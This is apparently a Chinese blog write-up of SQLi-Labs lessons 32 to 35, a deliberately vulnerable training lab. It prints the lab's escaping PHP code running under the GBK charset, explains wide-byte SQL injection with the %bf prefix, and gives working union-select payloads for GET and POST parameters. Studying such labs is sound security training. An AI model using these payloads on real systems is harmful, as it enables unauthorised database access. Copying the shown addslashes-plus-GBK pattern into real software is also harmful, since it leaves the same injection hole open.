关闭

SQLi Labs Lesson32 & 33 & 34 & 35

142人阅读 评论(0) 收藏 举报
分类:

Lesson - 32

GET - By Pass custom filter adding slashes to dangerous chars


首先进入欢迎界面:


构造 ?id=1,结果如图所示:


构造 ?id=1',结果如上图,不变。

构造  ?id=1",结果同上,不变。

但是根据本节提示,发现我们输入的单引号和双引号被转义。




本节学习宽字节注入。

后台php源码:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

发现在执行SQL语句之前,设置了mysql字符集为GBK

利用此,可以进行宽字节注入。


GBK编码采用双字节编码方案,其编码范围:8140-FEFE

sql注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。


构造 ?id=0%bf' union select 1,2,3 --+

结果如图所示:


Lesson - 33

GET - Bypass Add slashes

后台php源码:

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

同上节,注入语句.

构造 ?id=0%bf' union select 1,database(),3 --+


Lesson - 34

POST - Bypass Add slashes

后台源代码:

$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
        
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

同上节:

结果如图所示:


如果直接在username中输入 admin%bf' union select 1,2 #

而实际POST的数据为:

用修改POST数据的工具提交才能成功。


Lesson - 35

GET - Bypass Add slashes (we don't need them) Integer based

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}


$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

构造 ?id=0 union select 1,database(),3


当语句中用到单引号时,再用%bf构成宽字节注入。


0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场